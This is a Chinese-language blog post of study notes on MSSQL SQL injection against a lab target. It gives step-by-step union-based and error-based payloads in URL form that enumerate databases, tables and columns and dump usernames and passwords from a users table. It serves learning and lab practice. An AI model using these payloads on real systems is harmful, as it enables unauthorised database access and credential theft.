mssql注入
2022-02-14 11:32:03
# sql
Mssql基础注入
今天刚学习mssql注入,在博客记录一些学习笔记与心得。先进入靶场,用hackbar进行注入测试。
本文仅为了学习交流,严禁非法使用!!!
联合注入
判断注入类型
1 | http://ip/less-1.asp?id=1' |
报错,发现有注入点,加入注释符号。-- 空格
1 | http://ip/less-1.asp?id=1' -- |
返回正常,所以确定是字符类型。
下面开始判断回显点。
1 | http://ip/less-1.asp?id=1' order by 3-- |
发现实3位,用联合注入开始查询数据库版本,当前数据库等信息。
1 | http://ip/less-1.asp?id=1' union select 1,@@version,db_name()-- |
查询成功后,开始爆表名等信息
1 | http://ip/less-1.asp?id=-1' union select 1,2,name from test.sys.all_objects where type='U' and is_ms_shipped=0 -- |
1 | http://ip/less-1.asp?id=-1' union select 1,2,name from test.sys.all_objects where type='U' and is_ms_shipped=0 and name not in('emails')-- #查询后面的信息,以此类推 |
其中有个user表有用户信息。开始查询表里的字段。
1 | http://ip/less-1.asp?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' -- |
1 | http://ip/less-1.asp?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' and column_name not in ('id') -- |
查询到了username和password列名。
1 | http://ip/less-1.asp?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' and column_name not in ('id','password') -- |
1 | http://ip/less-1.asp?id=-1' union select 1,username,password from users -- |
查询结束。
报错注入
查询数据版本等信息。
1 | # 查询版本信息 |
查询数据库。
1 | http://ip/less-2.asp?id=1 and (select top 1 name from master..sysdatabases where name not in(select top 0 name from master..sysdatabases))>0 – |
查询表信息。
1 | http://ip/less-2.asp?id=1 and (select top 1 name from test.dbo.sysobjects where xtype=CHAR(85) and name not in(select top 5 name from test.dbo.sysobjects WHERE xtype=CHAR(85)))>0 –- |
查询users字段名。
1 | http://ip/less-2.asp?id=1 and (select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME='users' and column_name not in('id'))>0— |
查询数据
1 | and (select top 1 字段 from 数据库名.表名)>0 |